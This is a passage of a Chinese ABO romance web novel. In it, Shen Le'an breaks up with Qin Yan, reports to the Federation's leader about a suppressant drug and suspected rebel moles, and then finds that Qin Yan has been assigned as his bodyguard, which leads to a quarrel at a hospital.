不过他们还没到那种相爱不行的地步,这种时候及时止损,也算不上是对秦砚的恶搞,真论起来,沈乐安还是觉得自己有点失落的,毕竟他原本是打算和秦砚认真谈个恋爱来着。 Omega撇开眼,明显是没有什么额外的解释,态度尤其随意,仿佛割舍的轻易。 秦砚想起来自己前面几次破例放开的底线,难以遏制自己的脾气,深觉自己在这段关系里面太过没有理智,这样并不可取,也不该继续。 他早不该一而再再而三的放纵这位蹬鼻子上脸的小少爷。 秦砚冷淡应他,只回了一个字:“行。” 沈乐安分辨不出他的喜怒,他方才显露出来的仿佛又被很好的压制了下去,浑然变成了一个没有表情的雕塑。 不过他一向字重千钧,开了口便不会反悔,做决定也极其的干脆。 沈乐安心口难免有点淡淡的惆怅,也没有了胃口,起身想要去厨房洗碗,谈开了也不好麻烦他做这种事情。 秦砚视线落在他的身上,冷淡出声:“放那里,我会一起收拾。” 沈乐安纠结了两秒,最终还是因为不想洗碗,搁置在一旁,“谢谢。” 沈乐安擦了擦嘴巴,然后便往客厅沙发那里走,要去拿自己的衣服。 他提了一下,略有点吃力,然后再一次后悔怎么没留下来让秦砚一起丢了。 身后的Alpha走近,手臂一抬,那一袋子衣服的重量便离开了沈乐安的纤细的手臂。 手上腾空,沈乐安便顺着垂下手,用另外一边手圈着被压疼的腕,轻轻揉了揉。 “我送你回去,东西我提。”秦砚出声道。 东西确实很重,虽然秦砚提起来的时候看起来轻飘飘的没有什么重量。 沈乐安迟疑了下,见他先一步走到门口,最后还是没有专门开口婉拒,显得有点多此一举,反正秦砚乐意。 C区到B区有一段距离,步行也得走个二十分钟,沈乐安落后了几步,没有和秦砚并行,毕竟B区还是有一些同事在的,还是这个点,说不定有人出来散步。 何况刚刚提了分手,秦砚看起来心情不畅快,沈乐安没想自讨没趣。 两人一路上一前一后,半句话不说,仿佛只是顺路一快走,偏偏气氛还有点奇怪,路过操场的时候,守门的老大爷还冲沈乐安打了个招呼,“最近没见你和你男朋友过来锻炼啊?” 沈乐安讪讪一笑,“那是我朋友,他平时会过来,我上次有事找他而已。” 老大爷看了眼站在少年不远处,停下来看他们说话的秦砚,笑了笑没有追问,只是道:“多来锻炼好,下次你也来啊。” 沈乐安点点头,与他寒暄两句便转头跟上秦砚。 Alpha很快转回头,沉着脸,步子快了几分。 沈乐安腿没秦砚长,秦砚步子一快,他也没有了饭后散步的悠闲,但又不好慢他太多,只好快步跟了上去。 秦砚倒是还算贴心,东西还帮他专门提上了楼,放进了屋子内。 沈乐安与他道了声谢,本来顺手还想给他颗糖,想了想又放弃了。 待他关上门,听到楼梯外面的脚步声远去,沈乐安这才走到窗口,往下看了看。 秦砚下了楼,头也没回,径直离开,高大的身影一路远去,最后消失在视野之中,没有半点停留。 路灯的光辉已经没有再照出他的影子,楼底下是一片安静,唯有一点树影摇晃的响动,冷冷清清。 沈乐安走回小沙发处,看了眼倚在沙发一角的那袋子衣服,坐了一会,看了眼时间,估计秦砚也快走到家了,才拿出手机,给他发了一条信息。 Alpha口袋内手机随之震动了一下,感知很明显,是新消息通知。 上次沈乐安专门说过让他及时回消息的事情,秦砚便调了震动,以免漏掉新的消息。 当然,也只有沈乐安会和他发消息,秦砚目前微信列表内,没有几个好友,唯一频繁和他拿这个软件沟通的只有沈乐安。 秦砚关上门,看了眼桌上还没有来得及收拾的碗筷,又拿出手机,想知道沈乐安会给他说些什么。 或许陪他走了一路,这位幼稚的小少爷回去后已经冷静下来可以和他重新沟通了也说不定。 这种将分手动不动挂在嘴边的行为是对关系的轻视,秦砚十分不喜欢他的做法。 Alpha垂了垂眼皮,点开消息,便见到了最新的信息。 确实是沈乐安发的。 是一条是五百块的转账。 上面还有一个十分礼貌的备注:路费,谢谢秦教官。 向来冷静平和的Alpha被这转账记录和上面的备注生生给气笑了。 随后面无表情地,重重地按灭了屏幕。 60-70 第59章 第 61 章 那五百块钱秦砚没有收, 当然,沈乐安也没有看到他回复什么消息,仿佛完全没有关注到这条新消息。 不过在连着几天没看到消息动静的时候, 沈乐安觉得秦砚应该是看到了, 只是不知道是什么原因,他没有回。 沈乐安也默契地装作不知道。 这几天网上和沈家有关的消息倒是被人压下来了许多,但耐不住事情扩散的区域太广,讨论的热度一点也没有降下来的趋势, 反而逐日递增,沈氏集团的信誉度也面临着极其危险的边界, 主要的产品销量一度下滑。 能这么广泛的降热度应该是有其他人进行干预了,毕竟涉及到反叛军的事情,沈家又深陷其中,暂时还没有这么大的能耐能够操控舆论。 他们家也没关系好到这种地步又有权有势的朋友吧? 沈乐安没有由来的想到了秦家。 “沈先生, 私人物品都需要摘下来, 包括您的手机。”负责安检的警卫员道。 沈乐安回神, 将手机一同放进了框里,配合上交。 军部大楼内是科技感十足的构造, 蓝白色调, 透明的玻璃反射着外面的日光, 也将里面严防死守的军事力量展示的淋漓尽致。 进出的人员除非有内部芯片的卡牌,不然都需要挨个进行检查,哪怕是身上一个小小的手链。 据说曾有人压缩危险液体装置在手链中, 以此伤过高级要员, 这里进出的检查可比沈乐安认知里面机场安检要严肃也严格的多。 沈乐安猜到当时给他安排入职的那个人或许有点背景, 但从这几进几出快要把他身上的皮都要剥下来的检查来看,他可能原先的猜想还是保守了一点。 当时接他电话的那个人还只是一个秘书, 大约是提到希望见一面的请求太过于不现实,那位秘书一口否决了,不过似乎那边有人又说了什么,这才同意了见面的事情。 越是摆谱见面的流程越复杂,越是说明对方身份不低,如今又是这重重检查,沈乐安又多了一点别的猜想。 警卫员将他所有的东西进行仔细检查之后,又帮他把手机关机,但没有把手机还给他,而是道:“以防有任何窃听的可能,您的私人物品我们会暂时帮您保管,待您离开的时候会及时归还。” 他还给了沈乐安一张卡牌,“这个是上去电梯的卡,刷卡即走,您离开的时候需要归还。” 沈乐安应下,将薄薄的一张卡片收好。 警卫员恭敬地退回原地,目送他上了电梯,那张卡平时给的人,通常都是身份极其贵重的人,对方似乎是第一次过来,希望不会因为今天格外增加的流程而生气,毕竟最近反叛军的事情出来后,他们也非常的担心有意外发生。 沈乐安对此一无所知,只是跟着电梯上了楼。 电梯门一开,楼层内的安静扑面而来,接待的人对他微微一笑,“沈先生,您随我来。” 声音有点熟悉,沈乐安认出来了,是当时接他电话的秘书。 沈乐安跟在他身后,一路往前走,那位秘书严守着纪律,除了刚开始的第一句话之后,再没有其他的废话,步伐不紧不慢,走路都带着一股淡淡的严肃。 秦砚貌似也是如此。 联邦军队还真的是魔鬼。 沈乐安心里嘀咕了两句,那位秘书走到办公室前,恭敬地敲了敲门,得到里面一声温和的回复之后,这才开了门。 然后冲着沈乐安点点头,没说什么,便直接离开了。 沈乐安真的从坐了他们的车到安检到上来的这一刻感觉到了一种被强行闭嘴的憋闷感。 “进来吧。” 听到里面略有笑意的一声,沈乐安推门而入,便看到了坐在里面的老人。 约莫六七十岁的年纪,没有和那位秘书一样穿着军装,而是一身休闲的服饰,眉眼带笑,却动作间带着一种闲谈的威严。 出现在报纸和新闻主要栏目上的人,沈乐安哪怕再不关注时事,也装不出自己不认识。 今天繁冗的一番流程倒是有了答案。 老人倒了杯茶,往另外一个位置推了推,抬手示意了下。 沈乐安从善如流地坐下,喝了一口茶,“元首爷爷。” 齐鸿钧心中一乐,暗道这小家伙还真的是个小滑头。 他这称呼说恭敬也恭敬,说亲近也亲近,又能恰到好处的拉进关系。 齐鸿钧脸上不动声色,“你专门打电话用药剂的事情联系我,是想找我做什么?” 沈乐安观察了一番他的神色,放松了一些:“药剂的事情已经基本上进入尾声,可以考虑开始大批量生产了,我今天过来是想和您汇报情况以及进行自己思想检讨的。” “哦?”齐鸿钧笑眯眯道,“汇报什么情况?做什么思想检讨?” “信息素临时暴动的新款抑制剂其实早就完成了研发,但是因为我的个人因素,我选择的暂时隐瞒,同时,在研制这个药剂的过程中,我通过一些不是很正规的方式获取到了一些内部资料,这些不正当的手段让我非常的羞愧难当。” 沈乐安脸上适时出现低迷的神色,一脸羞愤愧疚,仿佛做了天大的错事。 齐鸿钧喝了口茶,问:“你通过什么方式获取的?” “通过秦砚,秦上将。”沈乐安道。 齐鸿钧眼皮未抬,只道:“他给你走了很多后门?” 沈乐安道:“虽然我猜到了元首爷爷肯定让他暗中对我帮助,但是这些帮助都在合理范围之内,只是我没有想到这个药剂的研发程度比我预想的多,秦教官无奈之下为了配合我的研究,只能做了一些小小的不合规矩的事情,比如拿点和项目有关的资料什么的。” 齐鸿钧听他天花乱坠的一通胡诌,有点想笑,但还是忍住了表情,又说:“我交代给他的任务,是秦砚告诉你的?” “没有,是我猜的,”沈乐安露出一抹羞涩的笑容,“现在听元首爷爷这么说,看来我没有猜错。” 难怪秦砚这孩子现在有了一点变化,办事风格也和之前不同,原来是身边有这个一个小黑心又胆子大的沈乐安在给他潜移默化呢。 齐鸿钧放下茶杯,脸上倒是严肃了许多,“在合理的范围内可以表现圆滑,但做事需要有度,这个道理你懂吗?” 沈乐安老实巴交地点点头,俨然一副听从指导的意味,“所以我今天过来和您进行思想检讨了。” 齐鸿钧瞥了一眼小滑头,忽然沉了声调,威严更甚,“药剂的事情怎么回事?和联邦重要利益有关的任务,你利用了联邦的大笔资源,又为什么因为个人原因进行隐瞒,甚至刻意推迟研发周期?” 上位者的凌厉在一瞬间爆发给人的震慑感极强,不论是身份还是本人身上带来的威严感,会让人有很大的心理负担。 一般人怕是会吓得说不出话,尤其是对方字字珠玑,语速很快,带着某种急迫和威逼之感,让人会不由得因此方寸大乱。 沈乐安一开始和这种人打交道的时候也会有被这些人拒绝和冷言冷语而失态而不自信,上辈子做to G业务的时候会频繁和政府部门的人员打交道,也有这种情况。 联邦的政体和上辈子的华国不同,不过面前的老人,已经是军部最高级别的领导者,有着相似的身份,带来的压力也更甚。 “齐爷爷。”沈乐安语气殷切地喊了一声,“我今天来其实也是想和您坦白这一件关乎联邦重要利益的事情的。” 齐鸿钧被他脸皮极厚又得寸进尺的称呼打乱了一点架势,听他后面的那一番言论,瞥了他一眼,“你说。” 沈乐安没有马上将事情摆上,而是慢条斯理地给老人倒了杯茶,少年温顺又乖巧,动作不紧不慢,雅致又好看,让沉闷的氛围稍稍放松了一些。 齐鸿钧欣赏了两秒,倒是明白了秦老头和他炫耀的原因,顿时有点可惜他儿子怎么早结婚了两年,不然还能有机会把人拐回家。 沈乐安放下茶壶,坐好,才道:“沈华章给联邦提供的那些信息相信联邦已经查过了吧,包括当时来沈宅闹事的人。” 齐鸿钧没有否认,“确实查过了。” 沈乐安道:“我相信联邦的办事能力,这些信息一定都牢牢地指向沈家,认为沈家和反叛军有关联,且交集很深。” 齐鸿钧打量了他一眼,笑不见底:“因为是自己的父亲和表哥,所以你认为他们是被冤枉的?” “当然不会。”沈乐安没有顺着他的话论述,跳过了这个语言陷阱,“我只是提出一些我的怀疑。” 齐鸿钧看向他,“说来听听。” “我爷爷原先在军队待过,闹事的人过来的那天开的那辆车时军队原先给他配的车,那辆车平时几乎不会动用,除非是去军方有关的地方,但是那天闹事的人中有人直接叫出了那辆车是沈家的车,说明这个人不是普通群众,知道这个信息的人肯定有渠道可以了解军方内部的资料,但是内部资料想要外人获取很难,这是第一个疑惑点。” “继续说。”齐鸿钧道。 “沈氏送入军校的那批物资在发生信息素暴动后检测的消息很快流传出来,具体到是什么药品,说明对方人脉不浅,”沈乐安顿了一下,又说,“其实那批药品我在知道沈氏赞助了物资的时候全部领过几份,拿检测药剂抽检过,并没有什么反应。” 但事后的结果却明显全部指向沈氏,这说明什么,说明对方有能力在短短时间内偷梁换柱。 齐鸿钧:“开始的检测结果你留了证据?” 沈乐安弯唇,“我录了视频。” 齐鸿钧啧了一声,觉得现在的小孩实在人精过头,又道:“还有什么怀疑的吗?” “那个学生死了的假消息是我传的。” 齐鸿钧扬了扬眉。 沈乐安:“实验室里面知道对方还在的只有几个人,除此之外,来这里询问事项的军方人员,我统一说的都是这人没了,来打听消息的人员名单我还留着,包括新入职的保洁阿姨和做饭的阿姨。” 齐鸿钧这下也不知道说些什么了,意味不明的笑了两声,“你爷爷之前不是专攻技术板块的?他人轴得很,怎么有你这么一个滑头孙子。” 沈乐安:“传的我妈那边的基因吧。” 齐鸿钧觑了他一眼。 他没有了方才严肃,慢悠悠地抿了口茶,“说了半天,你还没说隐瞒的原因。” 看来有内鬼的事情联邦早就有怀疑,没有挑起他的兴趣,沈乐安原先的计划失败,心中迅速转了方法。 思忖片刻,他才出声。 “原因其实有两个。”沈乐安道,“第一,新版的可以对抗信息素暴动的抑制剂如果广而告之,很有可能助长反叛军的气焰。” “理由?” “如果我是反叛军,”沈乐安气定神闲地假设,“‘基因进化’药剂有着强而有力的宣传噱头,唯独有个缺陷,会发生信息素暴动,但是现在,这个隐患因为新版的抑制剂接触了,您觉得对于购买者而言,真的不会是因为新抑制剂的出现反而对进化药剂的购买欲望大幅增加吗?” 这是一个反向的营销思路,齐鸿钧确实没有考虑到这一点,以这样一个堪称新奇的角度。 他表情认真了一分,反问:“第二点呢?” 沈乐安见他终于有了一点兴致,这才笑着说,“这就和您怀疑的联邦内有反叛军的事情有关联了。” 他没有卖关子,直言道:“这些呼之欲出的证据直指沈家,其实也暴露出对方的短板,以及他们的目的。” “我外祖父当年在他们那当卧底的时候弄到的东西对他们来说非常的重要,所以他们紧追不舍,我猜测可能是他们内部人员的名单,或者是这些药剂的生产的地址,不过前者更有可能让他们紧追不舍这么多年,毕竟后者想改迁地址还是能做到的。” 沈乐安说着,又带了几分笃定,“而且他们认为这东西在沈家。” 齐鸿钧这下愈发可惜自己儿子英年早婚了,虽然对秦砚也当成半个儿子,但是听老秦那么炫耀,他估计得不舒服很久。 见他没回话,沈乐安没有琢磨出他复杂的情绪,轻咳两声,小声道:“齐爷爷,我就是猜的,您觉得有没有可能?” 齐鸿钧回神,笑了下,“联邦当年查过,到现在还是一无所知,你觉得你能找出来?” 沈乐安没有把话说死,没事找事凭白多个负担是一件不可取的事情,进可攻退可守是个完美的位置。 “您给了我这么多的支持,我一定会尽力而为。” 齐鸿钧笑道:“鬼机灵。” 沈乐安观察了一番他的神色,又说:“药剂的扩大需要找厂商合作,沈氏集团原先抑制剂的生产就有完整的链条,如果证明沈氏和反叛军无关,是个不可多得的完美合作对象。” 他顿了一下,又说:“当然,我也会因为沈家后代的责任,在调查这件事的时候更加的用心。” 小屁孩说的花花绕绕的,心思不少。 “可以。”齐鸿钧斜了他一眼,“还有什么要求,一起说。” 沈乐安当然不会客气,直言:“闹事的事情是警告,当年我外祖父一家就是先例,我觉得联邦肯定会保护每一个公民,您能不能给我派个靠谱的保镖什么的?” 这事是在楼下看到那些严守的警卫员时沈乐安临时想到的,该说不说,他还是非常信任联邦的军事力量的,不然反叛军早就武力取胜了,那用着到还用药剂来搞些阴谋诡计。 “行,”齐鸿钧一口答应,“肯定给你找个靠谱又满意的贴身保镖。” 沈乐安觉得他有点打趣的意味,不过没有十分在意,脑海里还回转着方才一来一往的谈判,复盘着自己是否还有什么疏漏。 出了门,进入电梯只有一个人时,才觉得有点后脊发凉,那种深重的威严和严肃带来的感知才明显了起来。 秘书送人离开,才回去齐鸿钧那,帮他收拾屋内的茶杯,难得见齐老笑意吟吟,心情很好,便有点好奇,“您怎么和他聊了那么久?” 齐鸿钧:“这小孩有意思,倒是比当年的老姜还像个泥鳅。” 秘书:“他做事有点太过于投机取巧。” 齐鸿钧:“但偏偏让人讨厌不起来不是?聪明人办事不拘泥于一个方式,而且他情商还高,难怪严决当初那么强烈推荐他进来。” 科研上面的作为说不得假,秘书补充了一句:“林教授也说过沈乐安有天赋。” 齐鸿钧点点头,想到什么,又若无其事地评判了一句:“老秦上次还和我说了乐安,但也不想想这还没成事呢就来和我嘚瑟。” 齐鸿钧多了一点幸灾乐祸,笑呵呵道:“秦砚这臭石头的个性,小心把他媳妇给气跑了。” 秘书没接这话。 只是听到他称呼从沈乐安变成乐安,便对今天过来的少年有了新的评价,毕竟原先齐老同意让他过来还是有秦家的因素,但今天他们聊了这么久,看来是对沈乐安本人印象很好。 齐鸿钧问了一句:“秦砚快到了吧?” 秘书看了眼时间,“到楼下了。” 齐鸿钧满意了,自顾自地说道:“上次被人调职去军校的事情,我没能护住他,这次算是补偿,勉强让他公费和人处处关系,也算是给他马上要到的生日惊喜了。” 秘书抽了抽唇角,没想到上司还有这种恶趣味。 沈乐安不知道这两人的谈话,一下电梯,就回到警卫处取回自己的东西。 警卫员挨个和他确认东西是否遗漏,连手机都顺便贴心地充满了电,沈乐安道了声谢,随后问了这里停车的地方,才从安检处离开。 保镖的事情沈乐安没有想到他刚提起没多久,出来的时候秘书就告知他对方已经开车到楼下接送了。 效率高到离谱,让人深深觉得这会不会是元首老谋深算提前预判好的打算。 沈乐安因为这个缘故,对齐鸿钧的神秘程度又抬高了一个阶级。 秘书专门告知他,这位保镖实力很高,从今天开始会一直随身跟在他身边对他进行保护。 从“这位”的描述,看得出是一个人,但秘书不冷不热的态度,又让沈乐安没有追问具体的信息,虽然以沈乐安狭窄的认知,实在觉得一个保镖太没有安全感,但按照秘书的那个说法,这个保镖履历应该很牛逼,而且是因为最近没有别的任务,才暂时将他委派来给他当保镖。 这个世界的单人武力认知沈乐安确实没有非常深入的了解,但对于齐鸿钧,他还是有几分信任的,毕竟方才的谈判,对方有紧有松,他并没有把握上风。 当然,这话说出去略有点凡尔赛,毕竟那种人物还想着拿捏人家,实在有点痴心妄想了些,而且沈乐安目前勉强算得上人家基层的小下属。 不过今天过来还是有些收获的,沈乐安心中放松了许多,一路转到停车的位置,在显眼的竖立的牌子旁边看到了秘书说的那个给他安排的私人保镖开的车。 是辆改装车,外表是晶莹的黑,反射着一点细密的白光,流萤一般的光束增添了一丝闪烁的光辉,多了一点高级感,玻璃也是改造的款式,看不见里面的人,保密性做的很好。 沈乐安多了一丝笑意,十分的满意。 驾驶座上的人对外面的景色包括走过来的Omega一览无余。 Omega乌黑莹润的眸子闪着亮光,脸上挂着轻盈的笑,仿佛初生富有生机的芽,脸颊上透着淡淡的粉,纯然不可方物。 倒是不知道他竟然和元首打上了交道,不过他也了解了齐爷爷今天安排这一出的想法。 他爷爷和齐爷爷关系好,或许是之前提过。 秦砚还没想到怎么和家里说这件事情,但想到前不久沈乐安的冷漠和那笔转账,便忍不住冷笑一声,莫名多了一点恶意。 不知道这次他又想给他转多少钱来给这笔保镖费?联邦上将的雇佣费用可一点都不少,花钱都不一定能请到。 副驾驶那处的玻璃被人轻轻敲了两下。 虽然是保镖,沈乐安也没有打算坐到后面把人当司机差遣,坐副驾驶还能和人打好关系,毕竟涉及到自己的人身安全。 车门锁随即打开,发出很轻地一声“啪嗒”响动。 沈乐安拉开门,边进去边抬头说:“您好,我……” Alpha没什么表情地转过头来。 那张熟悉的脸在视野内逐渐清晰,恍然如梦一样出现在眼前,打好的腹稿被错愕中断。 沈乐安还以为自己走错了车,下意识想下去,还没完全上车,便下意识猛然一起身,脑袋便重重地和车上方来了一个紧密而清脆的撞击,身子因为倏然的疼痛猛然一缩,往下蜷了蜷,最后疼不可耐地还是坐了回去,捂着脑袋,神色扭曲地抱着头。 艹。 好痛! 很剧烈的一声响动,整个车身仿佛也跟着撞击晃了一晃。 秦砚将他的手拉开,拧眉道:“不要乱动。” 沈乐安疼的眼角冒出泪花,暂时忘了他们刚闹掰不久的事情,可怜兮兮地问:“有没有流血?” “没有,”秦砚低头问,“头晕吗?” Omega眼尾发红,鼻子也冒着一点红色,眼眶蓄了一点水雾,声音也轻的发颤。 秦砚手上的动作放轻了些。 “有点晕。”沈乐安心里想骂娘,疼的牙根都在抖,“会不会脑震荡?” “我送你去医院,坐好,手不要碰脑袋。” 秦砚抬手,帮他扯上安全带,淡淡的冷香贴近,还能闻得到清冽的味道,一如他本人。 沈乐安低低地嗯了一声,乖乖放下了手。 车子迅速驶离,沈乐安头疼没有说话,秦砚专心开车,也没有开口。 缓过来了一点的沈乐安瞥了眼秦砚冷硬的侧颜,又默默转回了脑袋。 和前男友碰面第一天就被他因为这种原因送去了医院。 沈乐安压下复杂的心理,忍不住偷偷捂了捂脸。 真丢人。 第60章 第 62 章 车上撞得那一下实在还有点后遗症的晕, 以防万一,沈乐安还是忍下了麻烦,做了一套完整的检查。 在医院做完流程, 沈乐安那股难受劲好了许多, 检查报告也显示没有太大的损伤,但最近几天还是不要进行剧烈运动。 沈乐安悉数记下,看病结束,又到长廊上坐了一会儿。 秦砚交完费, 手上提了一袋药回来,很厚的一袋子。 沈乐安表情复杂地问:“怎么这么多?” 秦砚不是医生无法解答他这个问题, 只是淡淡地道:“使用量护士写在里面,吃的时候需要注意。” 沈乐安有点郁闷地哦了一声,没有了聊天的兴致。 他今天遭遇这种倒霉的事情秦砚必须承担一半的责任。 沈乐安想着,抬了抬眼皮, 眼神不善地盯了秦砚一眼。 秦砚目光落在他的头上, 柔软的发梢蔫答答地趴着, 如似他一路仿佛失了水分的作物一样,“头还疼?” “有点, ”沈乐安叹了口气, “不过没刚刚那么严重了。” “再坐一会。” “好。” 秦砚看了他一眼, 也坐到了他身旁的空位上。 医院里面人来人往,穿着白大褂的医生,拿着病例扶着病人的护士, 以及各行各业过来看病的病人, 众生百态在这一片区域展示的淋漓尽致。 哪怕是容貌出色的秦砚和沈乐安, 在这样的地方也不会怎么引发别人的关注,尽管他们坐在显眼的长廊。 诊室内有穿着西装的男人面容忐忑的进去又心如死灰出来, 独自站在长廊处,寂寥地站了一会儿,被护士劝说着离开,没有逗留影响后面的人看诊。 沈乐安看着那人的身影消失在转角,仿佛看到了上辈子的自己,心情微妙了一瞬,视线微转,便看到身旁的秦砚给他递了一个馒头。 “可以临时填个肚子。”秦砚见他一直看着那边,以为他饿了,碍于面子不愿意开口,沈乐安一直有这个小毛病,改不掉。 沈乐安接过,道了声谢,又道:“你什么时候买的?” “缴费完回来的路上。” “我等会一起把钱给你。” 秦砚不答,只表情很淡地扫了他一眼。 馒头在外面放久了,早就没有了刚出锅的热气,沈乐安扒了一瓣往嘴里送,唇齿有淡淡的甜香,一口又一口,吃完了一整个。 许是吃饱喝足,沈乐安心情好了一点,“秦教官,你下午不去给你的学生上课?” 秦砚语气冷了几分,“不上。” 沈乐安觉得他似乎没有意向闲聊,所幸直入正题,想起来那辆车和今天的乌龙,问道:“你今天为什么会在那辆车上?” “那是我的车。” “嗯?” “不是你和那人申请的保镖?”秦砚的语气中多了一点嘲弄的意味,不知是意外于这种巧合,还是因为沈乐安现在客气的口吻。 沈乐安倒是没有注意他不对劲的语气,这句话的信息量太大,让他有点难以置信地睁大了眼睛。 沈乐安纠结了一下,才小声道:“你怎么沦、额,来做这种任务了?” 如果不是沈乐安知道他原本的上将身份,实在难以相信他被他的顶层上司大材小用调来做这种小任务,虽然沈乐安深深地认为自己的小命第一重要,但到底秦砚原本的身份放在那里,齐鸿钧又是那种身份,做这种决定,怎么看都觉得像是降了智。 难道是想引蛇出洞? 沈乐安狠狠的阴谋论了一下,但又觉得没有必要,毕竟秦砚的卧底任务应该是保密级别的,不会轻易泄露。 Omega表情几变,看向他的眼神多了一分探究,狐狸一样的打量,还以为有多偷偷摸摸,实则一览无余。 秦砚也没有想要瞒他,便直言道:“他应该知道我们的事情。” “啊?我们什么事情?” 少年一脸茫然,秦砚瞥了他一眼,目光一动不动地落在他的身上。 大概是Alpha的视线太过于犀利,沈乐安马上思维回归,然后有一瞬间的扭曲,显然有点不愿意相信这个事情。 秦砚冷漠的态度表示了肯定。 然后沈乐安觉得头又开始隐隐作痛了。 难怪当时那个秘书拒绝完那边反口又同意他过来,而且齐鸿钧似乎对自己没有那么陌生,他还以为自己的资料和外祖父的缘故才造成了这种情况,没想到竟然是因为秦砚! 这当然不是最糟糕的,问题是他原本以为只有宋书颖知道,怎么齐鸿钧这个八竿子打不着关系的人也会清楚?! 这种破事在现在这种他们已经分手的情况之下显得非常的麻烦,尤其是沈家这时候还牵连在反叛军的事情中,一不小心他们分手的事情爆出来,齐鸿钧的态度很难把控,权限这种东西想要收回对于他们来说非常的简单。 沈乐安深深吐了口气,勉强还算冷静,“那位怎么会知道?” 齐爷爷和他爷爷关系很好,很多事情都会说,齐爷爷也不是那种会无缘无故安排事情的人,专门弄这一出,一定是知道他们之间的关系,至于从谁哪里得知,这显而易见。 秦砚将自己的推测复述给他。 当然,他爷爷知道是一回事,和齐爷爷说代表的却是另外一回事,至少在他爷爷那里,沈乐安算是得了爷爷的承认的。 这些话秦砚并没有多言,以他们现在尴尬的身份,并不合适。 沈乐安皱眉:“秦爷爷怎么知道,你说的?” 他们又没有正式公开过关系,秦家也不像是那种会把没影的事情往外传的人,沈乐安想着,冷飕飕地盯着秦砚,像是要把他盯出一个洞来。 “那天你去我家前我和家里人提过你的身份。”秦砚并没有否认。 沈乐安瞬间沉了脸色。 他妈的他真的是看错了人,亏他还以为秦砚真是个什么说一不二的君子,没想到是个道貌岸然的家伙! 沈乐安简直被他一脸平静坦然的表情气的不轻,气急败坏道:“你原先怎么答应我的?你他妈的当时怎么给我承诺的你忘了?” “我问过你,你说可以。” “是吗,”沈乐安绝不相信这种没脑子的话是他说的,语气冷酷地说,“我什么时候说的,我怎么不知道?” 秦砚顿了一下,抿了抿唇,没有开口,在这种大庭广众之下,他不是很习惯谈论一些私事。 显然他们两个人一来一往不对劲的气氛还是让人有所察觉,偶尔有视线看过来,似乎好奇他们的争吵内容。 “你说啊。”沈乐安冷声斥道,满脸的不信。 秦砚眉心微敛,对于沈乐安目光中对他品格深深贬低的嫌恶十分不喜,压下心中的不悦,声音沉沉地回他:“你和我起争执第一次提分手的那天晚上,应该是凌晨左右。” 他说的含糊不清,沈乐安压根不知道他几个意思。 他们吵了那么多次,鬼知道说的哪一回,而且他也就说了一次分手,以他的性格,怎么可能三更半夜还和他说这种屁话? 沈乐安还想再问,便听到他继续深入丰富的内容,脸上像是一块花脸的调色盘。 “你那天晚上还答应我回秦家,睡醒不认账的是你。”秦砚染墨般的眸子牢牢锁在他的身上,“我没有说谎,也不会违背过当初的承诺。” 回秦家? 沈乐安记忆复苏,想起来当时的对话和情形,对上秦砚冷峻又严肃,隐隐要与他在此对峙的气势,脸上一红一白。 “需要我给你复述那天晚上的对话内容吗?”Alpha冷眼看向他。 沈乐安耳根子都烧了起来。 他妈的秦砚这人没脑子的吗,这种事情竟然在这里说?! 不远处的小孩眼巴巴地看着他们两人,看见那漂亮的哥哥川剧变脸一样的表情,和他手中被捏瘪的馒头,揪着身边的姐姐急忙问道:“姐姐,那两个哥哥是不是要打架呀?” 那个年轻的女孩姨母笑地说了一句:“那不叫吵架,叫情趣懂不懂?” 小孩问:“什么是情趣?” “哎呀,反正就是很开心的吵架,”女孩摸摸他的头,“你长大了就懂了!” 小孩不明所以地点点头。 那声音不大不小,飘入沈乐安的耳中,倏然将尴尬的球戳破,气势全无。 他猛地起身,大脑供血不足,有一瞬间的不稳,被Alpha有力的大手及时扶住,没有摔倒。 秦砚周身凌厉的气势骤然散开,拧眉道:“站好。” “妈的。”沈乐安甩开他的手,馒头往他身上一丢,梗着脖子,一点气势也没有地骂了他一声,“傻逼。” 随后逃似的大步转头就走。 那剩余的没吃完的半个馒头从秦砚胸膛滚落,最后落于他的掌心,当众被人这样对待,羞辱意思极强,哪怕这只是一个小小的馒头,秦砚跟上他恼羞成怒离开的身影,重重捏了捏落于手心的白馒头,松软的表皮被Alpha大手狠狠一攥,全部可怜兮兮的瘪了下去,仿佛成了一个可以任人搓圆捏扁的面饼。 那团气在看到少年微微晃动仿佛下一秒要摔的不稳而散了一半,注意力全然被另外一种心情覆盖。 沈乐安躲得的也快,仿佛对他避如瘟疫。 秦砚并没有顺着他的意收回手,而是以绝对的优势控制住了他这种不理智的行为。 沈乐安被迫停下,侧头看向他,显然因为他的行为十分不满。 秦砚大手扣在他的后颈,细腻的肌肤如似绸缎一样的滑,这是很脆弱的部位,也是他非常的熟悉的位置。 在少年看过来的一瞬,他顺从心意,捏了捏少年的后颈,“在这坐着等我,我回去拿药。” 刚刚他走的突然,秦砚光顾着跟上他,确实忘了放在一旁的药袋子。 这样亲密的触碰只是一瞬间,但这样的敏感部位给予的反馈让人有一瞬间的发麻,尤其是在这种时刻有人从他们经过的医院。 沈乐安觉得自己大约是因为头疼还没有好,就急着走,现在有点缺氧,似乎心脏跳的也快了几分。 他往后挪了挪,在离秦砚最远的那个位置坐了下来。 秦砚看了他一眼,见他没有不适的表现,这才回去原来的位置取走了药。 那一对姐弟还在那里,女生视线还隐隐探过来。 秦砚路过那处时停了停,看向那个年纪不大的女生,蹙了蹙眉道:“窥探他人隐私是不道德的行为。” 女孩确实刚刚因为好奇的缘故一直待着没有走,还时不时偷偷瞄着他们看,没想到对方会专门过来警告她。 他气场太足,女孩缩了缩脖子,忙道:“对不起对不起,我只是觉得你们很般配,所以多看了一眼。” 她话越来越小声,生怕惹怒这个看起来力量十足的Alpha。 秦砚瞥了她一眼,没有再多言,只道:“下不为例。” 女孩小鸡嘬米似的点点头,下意识将弟弟揽在怀里。 那个小孩好奇地盯着这个严肃的哥哥看,见他表情冷厉,也不安地缩了缩脖子。 秦砚与小孩对视一眼,看见了他眼底的纯真又不加掩饰的表情,又想到那位心理年龄还没有成熟的沈乐安,临走的时候从口袋里面掏了颗糖,随手塞到了那个小孩的口袋里,然后头也不回离开了。 见他走远,女孩才重重地松了口气,嘴上不说,心里还是忍不住嘀咕,这就是正攻A的气场吗…… 又见弟弟手里多了的糖果,女孩又暗戳戳地道,卧槽,反差感这不就是! 小孩没理解姐姐的表情几变,但看着那个酷酷哥哥给的糖果,咧开嘴,满脸的开心。 沈乐安自然也看到了秦砚给人家小孩的糖果,他原先还以为秦砚竟然以大欺小,把那小姑娘吓坏了的样子,结果倒是他想岔了。 只不过秦砚竟然还会随身带糖,这事让人有点意外。 